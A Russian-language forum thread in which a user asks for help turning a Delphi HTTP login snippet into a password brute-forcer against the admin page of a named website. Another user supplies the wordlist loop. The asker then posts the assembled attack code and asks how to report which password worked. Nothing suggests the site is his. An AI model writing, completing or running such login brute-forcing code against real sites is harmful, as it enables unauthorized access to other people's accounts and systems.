Чтение файла построчно

[aciiiD]

params.Add('login_username=admin');
params.Add('login_password=xxx');
responseres.Text:=http1.Post('http://ru****p.hut.ru/admin.php',params);
if Pos('logout', responseres.text)>0 then
ShowMessage('YEES!')
Else
ShowMessage('NOO!');

Так вот, что мне с этми надо сделать, что бы в поле login_password=, подбирался пароль из каждой строки файла по очереди??

[Consol]

что за файл и как он записан???

[aciiiD]

файл с паролями, вида:

ana
secret
alfa
etc...
myppass

и как сделать что бы каждый из них подбирался поочереди

[aciiiD]

Еще попутный вопрос, как делать по сайту клики по нажным тебе кнопкам? о_0 буду оочень благодарен, но первый вопрос тоже актуален

[Wicort]

Создаешь переменную
var PassList: tStringList;
PassList:= tStringList.Create;
делаешь ей LoadFromFile из твоего файла с паролями
затем в цикле
for i:= 0 to PassList.Count-1 do
begin
params.Add('login_password='+PassLi st.Strings[i]);
//делаешь, что нужно
...
end;

ну или что-то типа того

[aciiiD]

Wicort ну ты ман мне помог, огромное спасибо )) с меня пиво

[aciiiD]

Последний вопрос, как сделать что бы ту был пароль???
Memo1.Lines.Add('login: admin password: '+PassList.показать текущию пароль);

[BOBAH13]

Сообщение от aciiiD

Последний вопрос, как сделать что бы ту был пароль???
Memo1.Lines.Add('login: admin password: '+PassList.показать текущию пароль);

как я понял, Copy + Pos (ищем по форуму и в сети, уже многократно обсуждалось).

[aciiiD]

ну все таки, если не трудно, так влом искать, пожалуйста

[aciiiD]

procedure TForm5.btn1Click(Sender: TObject);
var
params,responseres:tstringlist;
i:Integer;
PassList:tstringlist;
begin
PassList:=tstringlist.Create;
PassList.LoadFromFile('C:\pass.txt');
params:=TStringList.Create;
responseres:=TStringList.Create;
params.Add('login_username=admin');
for i:= 0 to PassList.Count-1 do params.Add('login_password='+PassList.Strings[i]);
responseres.Text:=http1.Post('http://rus-rap.hut.ru/admin.php',params);
if Pos('logout', responseres.Text)>0 then
  Memo1.Lines.Add('login: admin   password: '+PassList.Strings[ну как тут выбрать c,сбрученный пароль]);

end;